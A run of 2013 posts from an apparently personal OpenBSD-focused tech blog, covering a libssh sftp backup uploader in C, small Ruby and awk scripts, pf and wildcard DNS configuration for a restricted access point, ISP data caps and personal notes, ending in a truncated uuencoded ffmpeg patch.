Sure there is days I wished I could have been a bit more productive or had a buddy help me with something, but I believe my time is very productive. Another add-on to that is that I only work 30 hours a week and cannot do more because of illness (my doctor recommends this much). However working from home requires discipline. That's why I have an "office", a dedicated room in the apartment where I do my daily/eveningly tasks. This apartment is relatively new and I did some work out of a 1-room apartment for a few months, I'm glad that is behind me.

So I would say to Mrs. Mayer "you're not being fair to teleworkers". As every situation is different, and teleworkers have a strange but effective benefit.

Related articles found with search on this blog:



My first video entry

February 28th, 2013

I have made a video entry introducing my blog. I recorded off the webcam and converted the .avi to theora with ffmpeg2theora. A Firefox browser should be able to run this. It works on my OpenBSD box.

So yeah bad hair day!

This is what I use to record this with:

#!/bin/sh

OUTFILE=$1
ffmpeg  -f sndio -i rsnd/0 -s 320x240 -f video4linux2 -i /dev/video0  -r 30 $OUTFILE 
It's a 12 euro mic and a 30 euro webcam...that says it all.



SVPradio 100th show next Wednesday

February 28th, 2013

Be sure to check out SVP Radio on Wednesday March 6th, starting at 6PM Eastern North American time. We have made a few changes which allow listening through the browser, and it may even work on an iPhone.



My first libssh program

March 7th, 2013

I have made a libssh program to sftp a file from standard input to a file on an sftp site. I use strato hidrive cloud storage for my backups and that is what I use this file for. I pipe it through openssl and another one time pad program to make sure strato can't look at my stuff. I want to share the code, here it is:

#include 
#include 

#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 

#include 

#define FTPUSER         "secret"
#define FTPPASS         "extrasecret"


int
main(int argc, char *argv[])
{
        ssh_session sess;
	sftp_session sftp;
	sftp_file file;

        char *user = FTPUSER;
        char *pass = FTPPASS;

        char buf[512];
        u_char md5buf[16];
        char timebuf[32];
	u_char *hash = NULL;

        int ch, fd, rc;
        int len;
	int state, hlen;
        int checksum = 0;
	int nwritten;

        struct tm *tm;
        MD5_CTX ctx;
        time_t now;

        while ((ch = getopt(argc, argv, "mp:u:")) != -1) {
                switch (ch) {
                case 'm':
                        checksum = 1;
                        break;
                case 'u':
                        user = optarg;
                        break;
                case 'p':
                        pass = optarg;
                        break;
                }
        }

        argc -= optind;
        argv += optind;

        if (argv[0] == NULL || argv[1] == NULL) {
                perror("args -> IP file");
                exit(1);
        }

	/* log in here */

	if ((sess = ssh_new()) == NULL) {
		perror("ssh_new");
		exit(1);
	}

	ssh_options_set(sess, SSH_OPTIONS_HOST, argv[0]);
	
	if ((rc = ssh_connect(sess)) != SSH_OK) {
		fprintf(stderr, "error connecting to %s: %s\n", argv[0],
			ssh_get_error(sess));
		ssh_free(sess);
		exit(1);
	}	

	state = ssh_is_server_known(sess);
	hlen = ssh_get_pubkey_hash(sess, &hash);

	if (state != SSH_SERVER_KNOWN_OK) {
		fprintf(stderr, "something was wrong with the session "
			"state, to be sure I'll just exit here..\n");
		ssh_disconnect(sess);
		ssh_free(sess);
		exit(1);
	}
		
	if ((rc = ssh_userauth_password(sess, user, pass)) != SSH_AUTH_SUCCESS) {
		fprintf(stderr, "error authenticating...\n");
		ssh_disconnect(sess);
		ssh_free(sess);
		exit(1);
	}
	
	
	if ((sftp = sftp_new(sess)) == NULL) {
		fprintf(stderr, "Error allocating SFTP session: %s\n",
			ssh_get_error(sess));

		ssh_disconnect(sess);
		ssh_free(sess);
		exit(1);
	}
	
	if ((rc = sftp_init(sftp)) != SSH_OK) {
		fprintf(stderr, "Error initializing SFTP session: %s\n", 
			sftp_get_error(sftp));	
		sftp_free(sftp);
		ssh_disconnect(sess);
		ssh_free(sess);
		exit(1);
	}	

	snprintf(buf, sizeof(buf), "/home/pjp/%s", argv[1]);

	file = sftp_open(sftp, buf, O_WRONLY | O_CREAT | O_TRUNC, 0600);
	if (file == NULL) {
		fprintf(stderr, "can't open file for writing: %s\n", 
				ssh_get_error(sess));
		sftp_free(sftp);
		ssh_disconnect(sess);
		ssh_free(sess);
		exit(1);
	}

        if (checksum) {
                (void)MD5_Init(&ctx);
        }


        while ((len = read(STDIN_FILENO, &buf, sizeof(buf))) > 0) {
                if (checksum) {
                        (void)MD5_Update(&ctx, buf, len);
                }               

		nwritten = sftp_write(file, buf, len);
		if (nwritten != len) {
			fprintf(stderr, "can't write/append data to file: %s\n",
				ssh_get_error(sess));
			sftp_free(sftp);
			ssh_disconnect(sess);
			ssh_free(sess);
			exit(1);
		}
        }

	rc = sftp_close(file);
	if (rc != SSH_OK) {
		fprintf(stderr, "can't close the written file: %s\n", 
			ssh_get_error(sess));
	}
	
	sftp_free(sftp);

	/* ssh cleanup */

	ssh_disconnect(sess);
	ssh_free(sess);

	/* end checksumming */

        if (checksum) {
                (void)MD5_Final((u_char *)md5buf, &ctx);
                
                fd = open("/root/history.md5", O_WRONLY | O_CREAT| O_APPEND, 0600);
                if (fd < 0) {
                        perror("open");
                        exit(1);
                }
                now = time(NULL);
                tm = localtime(&now);
                strftime(timebuf, sizeof(timebuf), "%F", tm);
                snprintf(buf, sizeof(buf), 
"%s %s %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\n", 	
			timebuf, argv[1], 
                        md5buf[0] & 0xff, md5buf[1] & 0xff, md5buf[2] & 0xff,
                        md5buf[3] & 0xff, md5buf[4] & 0xff, md5buf[5] & 0xff,
                        md5buf[6] & 0xff, md5buf[7] & 0xff, md5buf[8] & 0xff,
                        md5buf[9] & 0xff, md5buf[10] & 0xff, md5buf[11] & 0xff,
                        md5buf[12] & 0xff, md5buf[13] & 0xff, md5buf[14] & 0xff,
                        md5buf[15] & 0xff);

                write(fd, buf, strlen(buf));
                close(fd);
	}

	exit (0);
}

The program has hardcoded passwords, not optimal but it works. Also the key must match or it bails immediately (or should). Have fun with this!



Ordered two books

March 8th, 2013

I have ordered two books, hoping they'll help me.

I like how these aren't C like languages because I like to keep a seperation from my C knowledge and other languages.



An era ends?

March 10th, 2013

In 1999 or so I switched globalserve.net's relay mail servers to postfix, taking the load off sendmail. Today I switched my main mail servers to OpenSMTPD, ending 14 years of loving postfix. I still run postfix at work but in time we'll be able to switch it as well, I hope.



Equinox in 2 days

March 18th, 2013

The Northward Equinox is upon us again in 2 days on March 20th, 11:02 AM UT. This is also called the March Equinox or for a northern hemispherer the Spring Equinox. Have fun with this information!



First day of Spring! Goodbye Winter!

March 20th, 2013

Just like the Hooray! that I let out in 2011, I'm very excited that this winter is gone. I'm hoping we get blue skies this spring as well. BTW that link when you click it has a picture with an Analemma on it. I made a mistake with the equinoxes they are in fact further down and not at the joint of the figure eight. Oh well, I can't always have correct astronomy, astronomy is a learn cycle, based on wrong assumptions and proofs (although I didn't proof the analemma I just read about it in a astronomy magazine, which proofed me wrong).



Switched emea to FreeBSD

March 24th, 2013

I have switched my EMEA vps to FreeBSD. It took all day as I had to configure jails in it, but I think I'm mostly done. I'm just watching the 1st backup of it go through to my online storage.



OpenBSD has released it's 5.3 Song

March 25th, 2013

OpenBSD the OS that strives for best security has released it's most recent media, the 5.3 song. They are also doing pre-orders for the 5.3 release at OpenBSD.org. If you've been using OpenBSD and downloading it from the Internet, consider buying a copy once in a while. It makes all the difference.



My sorta first ruby program

March 30th, 2013

I was watching "the bourne identity" last night and during the breaks I programmed on my first ruby program, here it is:

#!/usr/local/bin/ruby -w

#
# this program reads from argv and takes a name argument it then says hello
#

if ARGV.size == 1
        input = ARGV[0]
else
        exit 1
end

#
# ok we got a name lets do something with it
#

if input == "peter"
        puts "hello peter, nice of you to come back to me"
elsif input == "jason"
        puts "mr bourne, you're still in paris?"
else
        puts "hello " + input + ", how are you?"
end

#Process.kill("ABRT", Process.pid)

exit 0
A friendly person in an efnet channel made a 1 liner out of this:
#!/usr/local/bin/ruby -w

puts ({ "peter" => "nice of you to come back to me peter", \
"jason" => "still in paris mr bourne?" })[ARGV.shift]

Process.kill("ABRT", Process.pid)
I later added the SIGABRT's in order to look at the size of the memory image and his has a larger memory footprint than mine. I guess size is misleading.



Next wednesday is SVP Radio's 2nd year anniversary

March 30th, 2013

Do a search for "anniversary", we've been doing this two years now. This time there isn't as many pictures as last anniversary but it's also our second and not the first.



Goodbye Source!

April 1st, 2013

A large company's spokesman has approached me and offered 100,000 dollars for my source code found here . I'm going to buy a tablet with that money, and possibly getting rid of all my computers that have a keyboard.



I'm still anti-nuclear

April 2nd, 2013

.. and I'd like to say that I'd like to see a nuclear free a) Germany , b) Europe , c) Planet. Although c is much harder to achieve than a or b, I still want to let people know that I support german dismemberment of nuclear power plants. We can do it without these power plants I'm sure of it.



Pre-ordered OpenBSD 5.3 CD

April 6th, 2013

I have pre-ordered OpenBSD 5.3 CDs from Lehmanns.de. Last year Lehmanns was late. Hoping it will be different this year.



EFnet.XS4ALL.NL has K-lined Hetzner.de IP's

April 8th, 2013

I got this message on my IRC window:

[16:50:23] :efnet.xs4all.nl 465 pjp :You are banned from this server- heztner.de
 are no longer welcome on efnet.xs4all.nl, due to leaking information to kiddies
. Fuck right off, hetzner. (2013/4/8 14.50)(0x0d)                               
[16:50:23] :pjp!~pjp@trojan.solarscale.de QUIT :Connection closed(0x0d)         
[16:50:23] ERROR :Closing Link: trojan.solarscale.de (Connection closed)(0x0d)
I do hope both parties will come to an agreement to once again let me IRC through hetzner. Pretty sick by xs4all to put pressure on hetzner this way though.



Total Rip-Off, I'm gonna keep it!

April 12th, 2013

I ordered a book called "Berkeley Yacc" in hopes that I can understand how yacc works better because the other book isn't doing it for me. Well yesterday I got it. 100 pages of wikipedia printed. 2 pages covering the story behind yacc but no internal explanations. Now because the book has Unix and OpenBSD mentioned in it I'm gonna keep it but it's not worth 33 euros! Perhaps 6.95 or such. I left a "rezension" on amazon.de regarding this with the title "glad to put money in your pocketses" or something. Since there is a robots.txt file protecting this blog you won't be able to google my disappointment but I felt I needed to let it off my chest.



Germany's Deutsche Telekom starts a 75 GB Cap on DSL

April 23rd, 2013

Germanys Deutsche Telekom has put a cap on DSL up to 16 Mbit/s. 75 GB a month. My parents are on DT and I think I'm going to move them off, how I do that will be a bit hard but not impossible. I'm planning on switching them to SIP completely, if they agree. Looking at my last months stats at another flat free provider I used a bit more than 75 GB (around 90 GB), so what DT is doing is not right. I'm sure many people are going to debate this, and here is my advice if you're on DT. Switch providers.



Network Rearrangement Next Week

April 25th, 2013

In a week is May 1st. That means OpenBSD 5.3 will be released and I'm going to have to upgrade 4 computers. I'm also going to repurpose Mars my MacPPC computer. It will become a tunnel host so that I can use IPSEC across my wifi link. I've created a small map for this:

This will be in effect for 1 year or so, and then I will retire Mars. So this is likely going to be its last upgrade. So what will come of Mars in 2014? I already wrote about it last year. Instead of retiring Jupiter I think I'll keep it another year and I'll just get a Mars replacement called Venus. Venus will likely be a Soekris computer with an Atom processor.



1 month left for goldflipper.net

April 25th, 2013

I got goldflipper.net in 2010. It served me for three years, but I have to give it up, I simply don't want to keep it. Over the course of these three years I have given out the following subdomains to people on IRC:

I hope they didn't get me in trouble by usage, but I trust they won't. So there is a month left of this then it's over.



Saturn in Libra (close to the moon)

April 25th, 2013

I recently found a screenshot of Saturn in 2010. Back then it was in Virgo at roughly 11:53:54 Right Ascension now it is at 14:26:22 Right Ascension in the constellation Libra. This means that in 2 years and 327 days (1057 days) it travelled 2 hours, 32 minutes and 28 seconds on a clock which is roughly 10.5% of a full revolution of sun. Does this match when wikipeida says that saturns year is 29.4 years or 10,759.22 earth days? 1057 / 10.5 * 100 = 10066 days. Pretty close approximation indeed. Seems Saturn is still in the heavens like usual.



What DT is doing wrong

April 26th, 2013

By cutting the flatrate in Germany Deutsche Telekom has left not many options on the table for its customers but to leave and seek providers elsewhere. They say that three percent of all users use a volume worth 30% of the entire traffic going through its customer links. That may be true, but noone has ever complained about it before, in fact people like subsidizing the heavy users, because sometimes they too do more downloading than ever before. So what DT is doing wrong by cutting the flatrate is that they aren't offering upgrade packages to existing capped bandwidth. Pretend you use up 75 GB and are capped down to 384 Kbit/s, other than email nothing else really works at that point. Telekom is not offering a "75 GB for 25 euro" package upgrade of sorts so that you can continue downloading. And this is a real crime as seen from a consumer perspective. I think Telekom is in the process of mismanagement.

Other ISP's that (I think) are good:

Most of these are mid sized businesses with aroudn 250,000 customers each, they could use those 3% from the Telekom in my opinion. I invite your list of good providers in Germany in the comments.



Taking a vacation from IRC

April 28th, 2013

I joined efnet in 1995 or 1996 as a way to get over my MUD addiction. Today I decided I'm going to take a vacation from it. How long I don't know but if it's forever then it be forever. Is IRC dying?



Why would a provider get rid of flatrate?

April 29th, 2013

Recently Deutsche Telekom announced that they are getting rid of their flat rate for DSL. I've been giving this some thought, around discussion, and here is what I've noticed:

These are some thoughts of mine that make me wonder. It is definitely an attack on freedom and net neutrality in my view. I'm having trouble convincing my parents to switch for what it's worth. At 15 GB usage last month they aren't affected they say and they say other providers will follow suit. I think that's not correct but we'll see.



OpenBSD 5.3 released, 3 hosts upgraded

May 1st, 2013

Today was network rearrangement day and upgrade day. I have upgraded mars, jupiter, and luna. I didn't upgrade uranus yet because I want to figure out some weirdnesses with it.

I now have ipsec'ed tunnels going from luna, jupiter and uranus to mars and mars acts like a router. The ipsec'ed tunnels protect the wifi bridge which are encrpyted too so I have extra encryption. More later.



The cravings are bad...

May 2nd, 2013

I crave chatting on IRC. This tells me I was addicted. But I'm gonna beat the addiction, I have considered writing a program that simulates IRC with people randomly talking about cameras and throwing numbers around (camera model #'s) that I don't know. In fact a lot of the "trash" talk I can probably do without, in the last few years it got especially trashy as people lost a sense of purpose (in my opinion) why they were there.



My Compression Algorithm doesn't work

May 2nd, 2013

I have done some tests with a document I wrote in 2010 called my-compression.txt found on my /public stash. Well I came to the conclusion that there is too many collisions to give a definite answer on a compressed segment of 38 bytes. Too bad. I'm still hoping for a compression algorithm that can be re-compressed, thus ending all bandwidth and volume problems. But it's just a dream, it seems.



Google Glass doesn't really phase me

May 3rd, 2013

I wear glasses. As a teenager I wore contacts predominantly. But I can't understand anyone wanting to give their life to google by wearing google glasses. Oh yes, life may be better because it may have been without hope at some point. But what of that is just illusion? Now the concept of google glasses isn't so bad. Until the part where you upload. To Google. Enough said.



We don't really have alternative access

May 4th, 2013

The german telco DT has capped its links to 75 GB if you use 16 Mbit DSL. What I thought about is the alternatives... there are none. DT has assets of 500K Euros per employee of its 230,000 workforce. And they own the copper links. Does that mean the DT can do with us what they want? There is only one alternative, and it doesn't scale. Check freifunk.de which is a citizen built Wifi mesh. They do not exist on a scale the size of Germany and beyond so they don't really scale. We need something to counter big evil telcos who do with us what they want.



Ordered a new book from Amazon

May 5th, 2013

It's another Ruby book. I fear I never get to read all these books fully because as soon as I get started with one I already have the next one. But I'm easily bored, confused, irritated with some books and their delivery style. Hoping this one will be a thriller. It's called Practical Ruby for System Administration by Andre Ben Hamou. I should have it delivered to my parents in 3 days.



Earworms, Ohrwurms and co.

May 6th, 2013

I've been diagnosed of Schizophrenia at least once in my life. I also have been diagnosed of depression , and OCD which is a form of Tic disorder. However what I haven't been diagnosed with is "Susceptible to Earworms" disorder. An earworm is when you hear music and it plays over and over in your head, in my case it can be as little as one syllable as in a simple "oh" of the reggae artists Vybz Kartel or as high as I would guess ten syllables. In fact I've never heard a single voice in my head that I didn't hear before, most of them stem from music I hear and very rarely from other recordings, yet the headmusic keeps going at the weirdest moments.

It makes me a little paranoid to be honest, and I suspect my medication I currently take amplifies earworms. Now it doesn't matter what music I listen to I get the bug but I prefer to be listening to Reggae music at home. Current head spinners that I like listening to are Alaine - Jehovah (listen close to the syllables as they are a classic reggae beat), Lutan Fyah - Bossman, and Turbulence & I-Shenko - Obeah man. The latter two are off the downtown riddim collection which I like listening to as well.

As I walk down the street with headmusic in my brain, I wonder if it's noticeable. When I go into a supermarket I usually get inducted with white peoples music or whatever is playing on german radio, something like "message in a bottle" by the police/sting. Usually I leave the store playing repeating sentences of message in a bottle in my head. Totally bugged out!



Changed blog a little

May 6th, 2013

I hope you like it. When I went to a CSS class the instructor said that in Germany or any place that you read left to right there is a menu bar on the left. Well in my case it's on the right, which would make my style arabic or persian. As a compromise I have added a black bar on the left now so that there is bars on both sides of the article. I think it looks better now and I'm working on fixing the jagged edges.



Asterisk patch

May 7th, 2013

I have made a patch for asterisk. They don't accept it though and I had to sign an NDA agreement in order to submit patches. Sheesh.



Hackathon Trademark

May 8th, 2013

Peter Hansteen (I've had the pleasure of meeting him once at a EuroBSDCon), has written about the term "hackathon" being trademarked. The people (Young Targets) who trademarked this term charged up to 2500 euros per violation in Germany. On the mailing lists misc@ (OpenBSD) someone said they gave up claim of trademark on the term "hackathon", which is a win for the free world.

As a note of interest I was a regular at the GTABUG (Greater Toronto Area BSD User Group) right from its start in 1999 to around 2001. In around the year 2000, Louis Bertrand (I think) organized installathons, and word had it that it came from the word hackathon, or the two terms came from each other. That's probably longer in time than Young Targets had ever conceived of the term.



Strato.com HIDRIVE is real slow today

May 8th, 2013

I decided to download my backups today and I think I'm going to do it tomorrow morning. As, the route from 2 sources to sftp.hidrive.strato.com is real slow. Both go through DECIX and stall all the time:

/users/label-3462/backup-gf20130506.tar.X.gz   32% 1339MB 234.4KB/s - stalled -
So I don't know if this should be a buyers beware signal. But let's see how it works tomorrow.
[pjp@trojan ~]$ traceroute sftp.hidrive.strato.com
traceroute to sftp.hidrive.strato.com (85.214.3.70), 64 hops max, 52 byte packets
 1  static.65.5.40.188.clients.your-server.de (188.40.5.65)  2.368 ms  2.038 ms  0.826 ms
 2  hos-tr4.juniper3.rz10.hetzner.de (213.239.236.113)  0.296 ms
    hos-tr2.juniper3.rz10.hetzner.de (213.239.236.81)  0.312 ms  0.304 ms
 3  hos-bb1.juniper1.ffm.hetzner.de (213.239.240.224)  5.096 ms  6.030 ms  5.206 ms
 4  atuin.rzone.de (80.81.192.110)  32.147 ms  5.335 ms  5.316 ms
 5  te0-1-0-6.core-b1.as6724.net (85.214.0.70)  17.631 ms  17.838 ms  18.989 ms
 6  be1.core-b2.as6724.net (85.214.0.33)  18.065 ms  17.918 ms  18.091 ms
 7  te1-1.core-b4.as6724.net (85.214.0.37)  17.868 ms  18.046 ms  17.709 ms
 8  ssh.hidrive.strato.com (85.214.3.70)  17.691 ms  17.799 ms  17.524 ms



Finished upgrading to OpenBSD 5.3

May 9th, 2013

mars - check.
jupiter - check.
luna - check.
and finally uranus - check.

All my computers that needed upgrading are upgraded. One thing about 5.3. My IPv6 setup stopped working. Something went in the 5.3 code that caused everything to fail. I'll have to figure out something new...



New Intro Screen with Animation

May 10th, 2013

The Centroid.EU website has a new intro screen. If you have the blog bookmarked you can simply click on the logo on the right hand side.

I painstakingly wrote the javascript for this, and I'm pretty proud.



NASA Asteroid Mission, not a bad idea

May 11th, 2013

So what can you do with a chunk of mass? Well for one you don't have to bring it up by means of earth rocket. I believe the Americans are not being honest with us in some respect. Because the asteroid is either the forerunner or the initial counterweight to a lunar space elevator (see here). Even if this asteroid mission is a failure at least we can stroke out visionaries use of countermass being asteroids then. The asteroid as an LSE counterweight is gonna make the US a lot of money, in savings. They don't have to use precious fuel to land on the moon anymore but rather take the lift down to the surface of the moon. And that's where the money's at, at least in the foreseeable space-faring future.

I have drawn 2 LSE's roughly of how it looks like (one is international and the other belongs to the USA). The counterweights span from L1 to L2 lunar-earth orbit so the cables are around 100,000 km long.

Why do I think there is money to be made on the moon? Well for one the human space exploration is destined to go to the moon because we have too much space junk in earth orbit to sustain living there in reasonable safety. It is a fact that the ISS has to fire thrusters to evade space junk every so often and it takes supercomputers to figure out if any junk is threatening the space station. The moon on the other hand is still a space junk virgin. Also there is resources on the moon. It isn't just a dead rock made of silicon and basalt (in some respects I wish it was). No. There is elements that can harbour life as we know it, and we can mine the moon for resources. Take the fact that asteroids occasionally fall on the surface of the moon. These contain metals so they are just waiting to be mined. With a moon elevator the rocks could be sent to space and there they could be molten with an array of mirrors from the sun. By means of centrifugal forces the metal could be extracted and formed from the impurities. Then the pure metals could be brought back down to the surface of the moon to build further space capsules or a set of tubes that are part of the space bases that I think are inevitable. The trade between the moon and earth would likely be human cargo (such as specialists to better the industrial output of the moon) and data (on the far side of the moon there is no radio interference making it an ideal spot for radio-astronomy and SETI).



Got a shot of moon and Jupiter

May 12th, 2013

By placing the camera on the railing of the balcony and putting on self-timer I reduced some of the jitter for the handheld pos camera.



Politics: I'm still a pirate

May 13th, 2013

I'm looking forward to the german election in the fall. I will be voting for the pirate party of germany as I think they are right on. My hope is that the pirates are going to overcome the 5% of votes needed to enter parliament. And then it'll be wake-up time for the bigger parties.



Crossing my fingers for Chris

May 13th, 2013

Tonight at 7PM EDT, Chris Hadfield undocks with two other Astronauts from the ISS. He's the coolest Astronaut I know of. Google for him and the ISS for some great youtube videos, they are really heart touching. I hope the landing goes well for him when he comes back to earth.



Freifunk Schweinfurt is alive

May 13th, 2013

I have added an access point to my network. It is firewalled to shits but it lets UDP through. A wildcarddnsd is wildcarding the entire DNS tree from root to branch and gives out only 1 IP, it seems to work magic... here is the config file:

version "5";

wildcard-only-for "wildcard everyone" {
        0.0.0.0/0;
        ::/0;
}

zone "default" {
        *,soa,3600,miranda.solarscale.de.,hostmaster.solarscale.de.,1,3600,1800,7200,3600
        *,a,3600,192.168.32.1
}
So then I use redirection rules in pf to redirect all web and DNS to apache httpd or wildcarddnsd.
# grep rdr-to /etc/pf.conf
match in on em0 proto udp from 192.168.32.0/24 to any port 53 rdr-to 127.0.0.1
pass in on em0 proto tcp from 192.168.32.0/24 to any port 80 rdr-to 127.0.0.1
The website says something like "dear neighbour, you can use UDP through this gateway but it's only outbound and doesn't return inbound". I have also rate limited how much can be sent, the rule for that is:
pass in log on em0 proto udp from 192.168.32.0/24 to any keep state (max-src-conn-rate 1/20) 
This means that only 1 packet per every 20 seconds should emanate from this access point.

What I hope to achieve with this is that people will build their own SMS mechanism and send out SMS messages out via UDP to a gateway of sorts. It could be interesting for someone's car ie. as soon as the car pulls up in the parking lot next door it sends an SMS saying it's arrived at its destination.

This is no ordinary access point, you can't surf with it, you can't do much with it really. But it may delight someones nerdyness of what they can do. Non-nerds need not apply, and nerds in training are welcome. My next goal is to look at openwrt and see if I can better this access point somewhat.



My idea for a virtual reality headset

May 15th, 2013

If you haven't heard of Oculus Rift then perhaps you're not reading the same literature and magazines as me. They are VR goggles at a reasonable price. Right now they are in development and we have still to see if they will make it out to the mainstream production. Anyhow I have thought of a useful tools for headsets such as these.

Basically I want to explore my computer for security and informative needs. What I envision is a filesystem displayed in a 3D environment ala fsn (see also fsv) by a program. This program also polls the kernel for events ala inotify and displays accesses with a pop-up or flash. This way a person can step back on the filesystem and gain the big picture. A replay function would be good so that one can investigate what happened.

Since in UN*X everything is pretty well a file this should unearth some questions hopefully, and then one has to search for answers. OpenBSD currently has no inotify mechanism, and I'm investigating whether it's worth it persuing this or whether my idea will be left for someone else... the decision process could take years same with the development process.



OpenBSD fixes a panic I found

May 17th, 2013

I found a condition that made the kernel panic when I'd execute a certain code. It took less than a day to get an interested OpenBSD developer to produce a patch, after review it'll be committed before 5.4 hopefully. This is why OpenBSD and open source in general rocks!



Second Video Blog (Vlog?) entry

May 21st, 2013

It's another bad hairday lol... I'm just very unkempt. :]



Experimenting with an RSS feed

May 21st, 2013

Today I've written a small PHP script to convert my blog to XML and RSS. On the right hand side is now the RSS button with the feed. I'd appreciate it if someone who knows their stuff about this would send me an email if you noticed something wrong with this feed. Right now it only dumps the last 10 articles but I can make it higher or lower if need be. My PHP really sucks I noticed but somehow I managed to write this out.



This is a valid RSS feed

May 22nd, 2013

I fixed it up and earned this banner from w3c. [Valid RSS]



Move DNS to TCP? Great Idea! Really...

May 22nd, 2013

I was made aware of slides from a talk by Ed Lewis from Neustar. Here they are. While some intention is lost by reading slides, I think what he means to say is that in an ever evil-growing Internet, UDP DNS needs to be replaced. I agree to this and wonder if he's been reading my contribution to Hackepedia regarding amplification attacks. So what's the big deal? The big deal is that people either purposely or innocently leave recursive dns servers on their VPS's and colocated servers. These are amounting to great numbers and can be used for amplification attacks to great bandwidths, as a recent attack on Spamhaus was huge.

As you may know I write a DNS server, and it's not easy, but I have some familiarity with the protocol. What Ed Lewis is saying is true and right. We can't wish the evil people away, we must fix the protocol to keep it from being used for evil. One way to do that is to use TCP. Now TCP is a state- ful protocol, it has a PCB (protocol control block) in the kernel that keeps track of its state. In the past DNS over TCP was restricted to AXFR, and one would not dare mention (taboo) using DNS over TCP for other resource records. Mainly because Operating Systems wouldn't be able to keep up. But it's the 21st century and RAM has gotten cheap. There is lots of RAM for many PCB's and CPU's have also increased in efficiency and speed. So... Why not? I agree something must be done.



Alphabetical countup AWK beats Ruby 1.8

May 23th, 2013

Here is the code written by Figz in awk and shell script:

#!/bin/sh

awk 'BEGIN { for (i = 65; i < 91; ++i) { c = sprintf("%c", i);  h[c] = \
h[tolower(c)] =  i - 64 } } { tot = 0; for (i = 1; i <= length(); ++i) \
tot += h[substr($0, i, 1)]; print tot, $0 }' /usr/share/dict/words | \
sort -n

Here is the ruby 1.8 code (took me a long time to get it right):

#!/usr/local/bin/ruby -w

ahash = Hash.new

('a'..'z').each { |a| ahash[a] = ahash[a.upcase] = (a[0] - 96).to_i}

open("/usr/share/dict/words", "r") { |f| f.each {
                |w|
                count = 0
                (0..w.length - 2).each { 
                        |c| 
                                count += ahash[w[c,1]];
                }
                puts "#{count} #{w}"
        }
}

And here is the timings:

jupiter$ time ./syn.rb | sort -n > blah.2 
    0m5.10s real     0m4.78s user     0m0.06s system
jupiter$ time ./syn.sh > blah.1           
    0m3.45s real     0m3.38s user     0m0.04s system
jupiter$ diff -u blah.1 blah.2

I don't think I can make the ruby any faster...



Added squid proxy to mars

May 24th, 2013

I have added a squid proxy to mars. It is transparent (used with divert-to) rules. Because of the nature of asymmetric routing going on it took me around 45 minutes to isolate where a route was going, and it was getting stuck on my AVM Fritzbox router. I can't really blame them, but laying a static route from mars to Gaia fixed it up. Here is the new network again:

Because the tunnels are MTU 1280 there was some sort of mismatch between mss and fragmenting (which I don't know how well openbsd does it). It turned out to be that Videos being loaded by Gaia would get stuck 10 minutes into the video. I don't even try to figure that out, I placed the squid in the network and it has a more direct route to the AVM Fritzbox which rewrites mss and mtu anyhow becuase it uses PPPoE. The squid fixes all these things and I'm pretty happy.



Panama getting more bandwidth in 2014

May 24th, 2013

This article talks about a new 6000 kilometer cable with landing stations in Panama. As you may or may not know, my host americas.centroid.eu is located in Panama and it's going to be interesting whether I will profit from this or not. The profit would be in stability and reachability.



Goldflipper.net expires today

May 25th, 2013

Goodbye goldy. It was a good 3 years. I do hope I have everything set so that its expiration will not cause problems on my operation. And I have one less domain to worry about.



Purchased an ipod touch

May 29th, 2013

Yesterday, I purchased an ipod touch. I have several books on IOS programming and intend to write my own apps for it. Also I may be using it for my video blog entries as the camera is about the same quality as my webcam, we'll see.



Changed the Main Page

June 2nd, 2013

Now that I have a mobile device I noticed how my site sucked on a mobile device. So I made a redirect based on User-Agent string. This was easy to do because the main page is served with PHP. It now redirects to a white page. If you are on a computer and not a mobile device and it redirects you to /mobile.php then this is an error and I'd appreciate it if you would let me know this. Thanks.



OpenBSD Arrived! VLOG entry #3

June 4th, 2013

Finally after ordering it on April 6th, it's here!



Donation time again

June 7th, 2013

Since I was already doing a few errands, I donated 50 euros to OpenBSD. I also renewed my VPS in Panama for another year (78 euros), and attempted to renew my VPS in Hong Kong, however I had to submit a ticket to them first.

I'm looking forward to using all my VPS setup another year.



A second arctic route...

June 8th, 2013

On Greg's cable map there is a second route going through the arctic and it's said to happen in 2014. Remember I had a story about Arctic Fibre here a while ago. While arctic fibre goes along the north-west passage the Polarnet Project goes along the north-east passage and is said to be 190 ms from London-Tokyo. Remember the soundings I took with ping and traceroute and I expect that my route will alternate between arctic fibre and polarnet when I go to hong kong after 2014. I totally envision 280-290ms round-trip latency, it'll be awesome! My Hong Kong VPS rocks yesterday I renewed it for another year until September 2014, which will be just shy of seeing this fibre go into production, if I renew again though it'll rock.



Success! I ran an app on my iPod

June 11th, 2013

I have been creating apps since last year. All of these were from examples found on youtube. So then I finally got around my provisioning problems at Apple and ran one app on my ipod. Now I know that it works I'm going to be switching to one of my books for creating IOS apps. There is a steep learning curve to master. But it'll be fun as I can run the code on my ipod now and play with it. I have also ordered 3 more books in a discounted deal from amazon.com. When I get them I'll released their names. But they deal with IOS 6. I know, I know IOS 7 will be out soon but when it does come out I'll be buying IOS 7 books too.

So what sort of app do I want to build for download in the app store? Hmm. Well I had thought about building an app that doubles as a mouse pointer for a computer. Basically you connect to the computer with wifi, network or bluetooth and enter a password, then whatever you move over the ipod's glass surface gets translated on the computers X11 display. It will need a custom X11 mouse driver as well, which shouldn't be too hard I believe as sourcecode for other mouse drivers exists. Once this project is finished I want to start building the interface for a virtual ipod (in virtual reality). So that you can have goggles on and have an ipod which you see in VR space. You also see Apps on this Ipod that don't exists in reality but moving your finger along the surface causes movement in the virtual reality and you can tap it and it will respond and such. That's phase two, but I'm only focusing on phase one right now.



FAAC compiles into ffmpeg on OpenBSD

June 11th, 2013

I wanted to do this. So I patched ffmpeg in the ports on OpenBSD like so after installing /usr/ports/audio/faac...

begin 644 ffmpeg.patch
M26YD97@Z($UA:V5F:6QE"CT]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]
M/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T*4D-3(&9I
M;&4Z("]C=G,O<&]R=',O9W)A<&AI8W,O9F9M<&5G+TUA:V5F:6QE+'8*2!D97!E;F1E;F-I97,@9F]R('1H92!C=7)R96YT(&-O;F9I
M9W5R871I;VX*+4Q)0F%V8V]D96-?15A44D%,24)3/2U,)'M,3T-!3$)!4T5]
M+VQI8B`M;&=S;2`M;&UP,VQA;64@+6QS8VAR;V5D:6YG97(M,2XP("UL'9I9&-O"`M;'1H
